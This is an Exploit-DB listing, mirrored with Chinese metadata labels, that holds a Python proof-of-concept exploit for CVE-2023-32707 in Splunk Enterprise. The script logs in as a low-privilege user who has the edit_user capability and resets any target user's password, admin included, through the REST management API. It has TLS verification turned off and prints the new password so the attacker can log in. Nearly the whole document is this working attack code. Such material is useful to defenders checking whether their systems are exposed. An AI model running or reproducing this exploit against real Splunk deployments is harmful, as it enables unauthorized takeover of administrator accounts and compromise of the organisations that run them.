Splunk 9.0.5 – admin account take over

  • 作者: Redway Security
    日期: 2023-10-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51747/
  • #!/usr/bin/env python3
    #
    # Exploit Title: Splunk 9.0.5 - admin account take over
    # Author: [Redway Security](https://twitter.com/redwaysec))
    # Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)
    
    #CVE: CVE-2023-32707
    
    # Vendor Description: A low-privilege user who holds a role that has the `edit_user` capability assigned
    # to it can escalate their privileges to that of the admin user by providing specially crafted web requests.
    #
    # Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14.
    #
    import argparse
    import requests
    import random
    import string
    import base64
    # ignore warnings
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description='Splunk Authentication')
    parser.add_argument('--host', required=True, help='Splunk host or IP address')
    parser.add_argument('--username', required=True, help='Splunk username')
    parser.add_argument('--password', required=True, help='Splunk password')
    parser.add_argument('--target-user', required=True, help='Target user')
    parser.add_argument('--force-exploit', action='store_true',
    help='Force exploit')
    
    args = parser.parse_args()
    
    # Splunk server settings
    splunk_host = args.host.split(':')[0]
    splunk_username = args.username
    splunk_password = args.password
    target_user = args.target_user
    force_exploit = args.force_exploit
    
    splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089
    user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"
    
    credentials = f"{splunk_username}:{splunk_password}"
    base64_credentials = base64.b64encode(credentials.encode()).decode()
    headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
    'Authorization': f'Basic {base64_credentials}'
    
    }
    proxies = {
    # 'http': '[http://127.0.0.1:8080'](<a href=),">http://127.0.0.1:8080',
    # 'https': 'http://127.0.0.1:8080'
    }
    
    response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json",
    headers=headers, proxies=proxies, verify=False)
    
    if response.status_code == 200:
    affected_versions = ['9.0.4', '8.2.10', '8.1.13']
    user = response.json()
    splunk_version = user['generator']['version']
    # This is not a good way to compare versions.
    # There is a range of versions that are affected by this CVE, but this is just a PoC
    # 8.1.0 to 8.1.13
    # 8.2.0 to 8.2.10
    # 9.0.0 to 9.0.4
    print(f"Detected Splunk version '{splunk_version}'")
    if any(splunk_version <= value for value in affected_versions) or force_exploit:
    user_capabilities = user['entry'][0]['content']['capabilities']
    if 'edit_user' in user_capabilities:
    print(
    f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")
    new_password = ''.join(random.choice(
    string.ascii_letters + string.digits) for _ in range(8))
    change_password_payload = {
    'password': new_password,
    'force-change-pass': 0,
    'locked-out': 0
    }
    response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json",
    data=change_password_payload, headers=headers, proxies=proxies, verify=False)
    if response.status_code == 200:
    print(
    f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'")
    else:
    print('Account takeover failed')
    else:
    print(
    f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.")
    else:
    print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707")
    else:
    print(
    f"Couldn't authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'")
    exit(1)